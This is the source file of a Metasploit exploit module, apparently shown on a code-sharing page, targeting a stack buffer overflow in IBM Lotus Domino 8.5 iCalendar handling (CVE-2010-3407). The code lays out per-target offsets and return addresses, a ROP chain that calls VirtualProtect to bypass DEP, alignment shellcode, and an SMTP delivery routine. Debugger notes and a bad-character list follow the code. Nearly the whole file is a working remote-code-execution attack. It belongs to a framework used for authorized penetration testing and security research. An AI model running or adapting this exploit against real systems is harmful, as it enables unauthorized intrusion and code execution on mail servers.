Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/lotus/domino_icalendar_organizer.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info={})11super(update_info(info,12'Name' => "IBM Lotus Domino iCalendar MAILTO Buffer Overflow",13'Description' => %q{14This module exploits a vulnerability found in IBM Lotus Domino iCalendar. By15sending a long string of data as the "ORGANIZER;mailto" header, process "nRouter.exe"16crashes due to a Cstrcpy() routine in nnotes.dll, which allows remote attackers to17gain arbitrary code execution.1819Note: In order to trigger the vulnerable code path, a valid Domino mailbox account20is needed.21},22'License' => MSF_LICENSE,23'Author' =>24[25'A. Plaskett', #Initial discovery, poc26'sinn3r' #Metasploit27],28'References' =>29[30[ 'CVE', '2010-3407' ],31[ 'OSVDB', '68040' ],32[ 'ZDI', '10-177' ],33[ 'URL', 'http://labs.mwrinfosecurity.com/advisories/lotus_domino_ical_stack_buffer_overflow/' ],34[ 'URL', 'http://www-01.ibm.com/support/docview.wss?rs=475&uid=swg21446515' ]35],36'Payload' =>37{38'BadChars' => [*(0x00..0x08)].pack("C*") + [*(0x10..0x18)].pack("C*") + [*(0x1a..0x1f)].pack("C*") + "\x2c" + [*(0x80..0xff)].pack("C*"),39'EncoderType' => Msf::Encoder::Type::AlphanumMixed,40'EncoderOptions' => {'BufferRegister'=>'ECX'},41'StackAdjustment' => -350042},43'DefaultOptions' =>44{45'EXITFUNC' => "process",46},47'Platform' => 'win',48'Targets' =>49[50[51'Lotus Domino 8.5 on Windows 2000 SP4',52{53'Offset' => 2374, #Offset to EIP54'Ret' => 0x6030582B, #JMP ECX55'MaxBuffer' => 9010 #Total buffer size56}57],58[59'Lotus Domino 8.5 on Windows Server 2003 SP0',60{61'Offset' => 2374, #Offset to EIP62'Ret' => 0x6030582B, #JMP ECX (Domino\\nnotes.dll)63'MaxBuffer' => 9010 #Total buffer size64}65],66[67'Lotus Domino 8.5 on Windows Server 2003 SP2',68{69'Offset' => 2374, #Offset to EIP70'Ret' => 0x604C4222, #ADD AL,0x5E ; RETN71'EAX' => 0x7C35287F, #Initial CALL VirtualProtect addr to align (MSVCR71.dll)72'EaxOffset' => 2342, #Offset to EAX73'RopOffset' => 24, #Offset to ROP gadgets74'MaxBuffer' => 9010 #Total buffer size75}76],77],78'DisclosureDate' => '2010-09-14',79'DefaultTarget' => 2))8081register_options(82[83Opt::RPORT(25),84OptString.new('MAILFROM', [true, 'Valid Lotus Domino mailbox account', '']),85OptString.new('MAILTO', [true, 'Valid Lotus Domino mailbox account', ''])86])87end8889def check90connect91banner = (sock.get_once(-1,5) || '').chomp92disconnect9394if banner =~ /Lotus Domino Release 8\.5/95return Exploit::CheckCode::Appears96else97return Exploit::CheckCode::Safe98end99end100101def exploit102sploit = ''103if target.name =~ /Windows 2000 SP4/104105sploit << rand_text_alpha(934)106sploit << payload.encoded107sploit << rand_text_alpha((target['Offset']-sploit.length))108sploit << [target.ret].pack('V')109sploit << rand_text_alpha((target['MaxBuffer']-sploit.length))110111elsif target.name =~ /Server 2003 SP0/112113sploit << rand_text_alpha(930)114sploit << payload.encoded115sploit << rand_text_alpha((target['Offset']-sploit.length))116sploit << [target.ret].pack('V')117sploit << rand_text_alpha((target['MaxBuffer']-sploit.length))118119elsif target.name =~ /Server 2003 SP2/120121#Borrow a "CALL VirtualProtect()" in Domino's MSVCR71.dll to bypass DEP122#shellcode max = 1312 bytes123rop_gadgets =124[125#EAX should be aligned to CALL VirtualProtect at this point1260x604F5728, #MOV DWORD PTR DS:[ECX],EAX; RETN (nnotes.dll)127#Set shellcode address1280x6247282B, #MOV EAX,ECX; RETN (nlsccstr.dll)1290x62454F32, #ADD AL,2B; RETN (nlsccstr.dll)1300x603F7B38, #ADD AL,31; RETN (nnotes.dll)1310x624B7040, #MOV DWORD PTR DS:[ECX+4],EAX; RETN (nnotes.dll)132#Set RETN value1330x60577B7A, #XCHG EAX,EDX; RETN (nnotes.dll)1340x62452E35, #MOV EAX,ECX; RETN (nlsccstr.dll)1350x60606F4E, #ADD AL,5D; RETN (nlsccstr.dll)1360x603E6260, #DEC EAX; RETN (nnotes.dll)1370x603E6260, #DEC EAX; RETN (nnotes.dll)1380x603E6260, #DEC EAX; RETN (nnotes.dll)1390x603E6260, #DEC EAX; RETN (nnotes.dll)1400x603E6260, #DEC EAX; RETN (nnotes.dll)1410x7C3A4C72, #MOV DWORD PTR DS:[EAX],EDX; RETN (msvcp71.dll)1420x6247282B, #MOV EAX,ECX; RETN (nlsccstr.dll)1430x60253B6D, #XCHG EAX,EBP; RETN (nnotes.dll)144#Set Size (0x413)1450x605A4B30, #MOV EAX,205; RETN (nnotes.dll)1460x605A4B30, #MOV EAX,205; RETN (nnotes.dll)1470x60592A36, #ADD EAX,107; RETN (nnotes.dll)1480x603B4C27, #ADD AL,2B; RETN (nnotes.dll)1490x624B7044, #MOV DWORD PTR DS:[ECX+8],EAX; RETN1500x604C5225, #XOR EAX, EAX; RETN151#newProtect1520x60386C3C, #MOV AL,3B; RETN (nnotes.dll)1530x624D4C27, #INC EAX; RETN (nlsccstr.dll)1540x624D4C27, #INC EAX; RETN (nlsccstr.dll)1550x624D4C27, #INC EAX; RETN (nlsccstr.dll)1560x624D4C27, #INC EAX; RETN (nlsccstr.dll)1570x624D4C27, #INC EAX; RETN (nlsccstr.dll)1580x624B7048, #MOV DWORD PTR DS:[ECX+C],EAX; RETN159#oldProtect1600x602B7353, #MOV EAX,ESI; POP ESI; RETN (nnotes.dll)1610x41414141, #ESI1620x624B704C, #MOV DWORD PTR DS:[ECX+10],EAX; RETN (nlsccstr.dll)163#Call VirtualProtect1640x6247282B, #MOV EAX,ECX; RETN (nlsccstr.dll)1650x60276256, #XCHG EAX,ESP; RETN (nnotes.dll)166].pack("V*")167168align = "\x51" #PUSH ECX169align << "\x58" #POP EAX170align << "\x34\x43" #XOR AL,43171align << "\x40" #INC EAX172align << "\x34\x65" #XOR AL,65173align << "\x50" #PUSH EAX174align << "\x59" #POP ECX175176sploit << rand_text_alpha(1022)177sploit << align178sploit << payload.encoded179sploit << rand_text_alpha((target['EaxOffset']-sploit.length))180sploit << [target['EAX']].pack('V')181sploit << rand_text_alpha((target['Offset']-sploit.length))182sploit << [target.ret].pack('V')183sploit << rand_text_alpha((target['RopOffset']))184sploit << rop_gadgets185sploit << rand_text_alpha((target['MaxBuffer']-sploit.length))186187end188189fname = rand_text_alpha(4)190prod_id = rand_text_alpha_upper(5) + "@" + rand_text_alpha_upper(13) + "@" + rand_text_alpha_upper(24)191uid = rand_text_alpha_upper(15)192summary = rand_text_alpha_upper(5) + "@" + rand_text_alpha_upper(11)193status = rand_text_alpha_upper(4)194195body = "Content-Type: text/calendar; method=COUNTER; charset=UTF-8\r\n"196body << "#{fname}.txt\r\n"197body << "MIME-Version: 1.0\r\n"198body << "Content-Transfer-Encoding: 8bit\r\n"199body << "BEGIN:VCALENDAR\r\n"200body << "METHOD:COUNTER\r\n"201body << "PRODID:-//#{prod_id}//\r\n"202body << "VERSION:2.0\r\n"203body << "BEGIN:VEVENT\r\n"204body << "UID:#{uid}\r\n"205body << "SEQ:2\r\n"206body << "RRULE:aaaa\r\n"207body << "ORGANIZER:mailto:H@#{sploit}.com\r\n"208body << "ATTENDEE;:Mailto:#{datastore['MAILTO']}\r\n"209body << "SUMMARY:#{summary}\r\n"210body << "DTSTART:20091130T093000Z\r\n"211body << "DTEND:20091130T093000Z\r\n"212body << "DTSTAMP:20091130T083147Z\r\n"213body << "LOCATION:Location\r\n"214body << "STATUS:#{status}\r\n"215body << "END:VEVENT\r\n"216body << "END:VCALENDAR\r\n"217body << "\r\n.\r\n"218219commands =220{221:HELO => "HELO localhost\r\n",222:FROM => "MAIL FROM: <#{datastore['MAILFROM']}>\r\n",223:RCPT => "RCPT TO: <#{datastore['MAILTO']}>\r\n",224:DATA => "DATA\r\n",225:MESG => body,226:QUIT => "QUIT\r\n",227}228229print_status("Trying target #{target.name}")230231connect232233# Get SMTP Banner234res = (sock.get_once || '').chomp235print_status("Banner: #{res}")236237# Check banner before trying the exploit238if res !~ /Lotus Domino Release 8.5/239print_error("Remote service does not seem to be Lotus Domino 8.5")240disconnect241return242end243244# Send HELO245sock.put(commands[:HELO])246res = sock.get_once || ''247print_status("Received: #{res.chomp}")248249# Set MAIL FROM250sock.put(commands[:FROM])251res = sock.get_once || ''252print_status("Received: #{res.chomp}")253254# Set RCPT255sock.put(commands[:RCPT])256res = sock.get_once || ''257print_status("Received: #{res.chomp}")258259# Set DATA260sock.put(commands[:DATA])261res = sock.get_once || ''262print_status("Received: #{res.chomp}")263264# Send malicious data265sock.put(commands[:MESG])266res = sock.get_once267268# QUIT269sock.put(commands[:QUIT])270res = sock.get_once || ''271print_status("Received: #{res.chomp}")272273handler274disconnect275end276end277278279=begin2800:008> r281eax=41414141 ebx=00000004 ecx=08da9700 edx=08dab695 esi=06c248bc edi=00000014282eip=42424242 esp=08da9cc0 ebp=41414141 iopl=0 nv up ei pl nz na pe nc283cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=0001020628442424242 ?? ???2850:008> !exchain28608daea2c: nRouter+511bb (004511bb)28708daffdc: kernel32!_except_handler3+0 (77e70abc)288CRT scope 0, filter: kernel32!BaseThreadStart+3a (77e4a92d)289func: kernel32!BaseThreadStart+4b (77e4a943)290Invalid exception stack at ffffffff2910:008> k292ChildEBP RetAddr293WARNING: Frame IP not in any known module. Following frames may be wrong.29408da9cbc 43434343 0x4242424229508da9cc0 43434343 0x43434343296...2970:008> bl2980 e 602738f9 0001 (0001) 0:**** nnotes!MailCheck821Address+0xb092990:008> u 602738f9300nnotes!MailCheck821Address+0xb09:301602738f9 e80239d9ff call nnotes!Cstrcpy (60007200)302602738fe eb02 jmp nnotes!MailCheck821Address+0xb12 (60273902)30360273900 33ff xor edi,edi30460273902 8d8dc0faffff lea ecx,[ebp-540h]30560273908 51 push ecx30660273909 8d95bcf6ffff lea edx,[ebp-944h]3076027390f 52 push edx30860273910 e8eb38d9ff call nnotes!Cstrcpy (60007200)309310Badchars:3110x01=0x0F21, 0x02=0x0f22, 0x03=0x0f23, 0x04=0x0f24, 0x05=0x0f25, 0x06=0x0f26, 0x07=0x0f273120x08=0x0f28, 0x0a=nocrash, 0x0b=0x0f2b, 0x0c=0x0f2c, 0x0d=nocrash, 0x0e=0x0f2e 0x0f=0x0f2f,3130x10=0x0f30, 0x11=0x0f31, 0x12=0x0f32, 0x13=0x0f33, 0x14=0x0f34, 0x15=0x0f35, 0x16=0x0f36,3140x17=0x0f37, 0x18=0x0f38, 0x1a=0x0f3a, 0x1b=0x0f3b, 0x1c=0x0f3c, 0x1d=0x0f3d, 0x1e=0x0f3e,3150x1f=0x0f3f, 0x2c=nocrash, 0x80..0xff = ""316=end317318319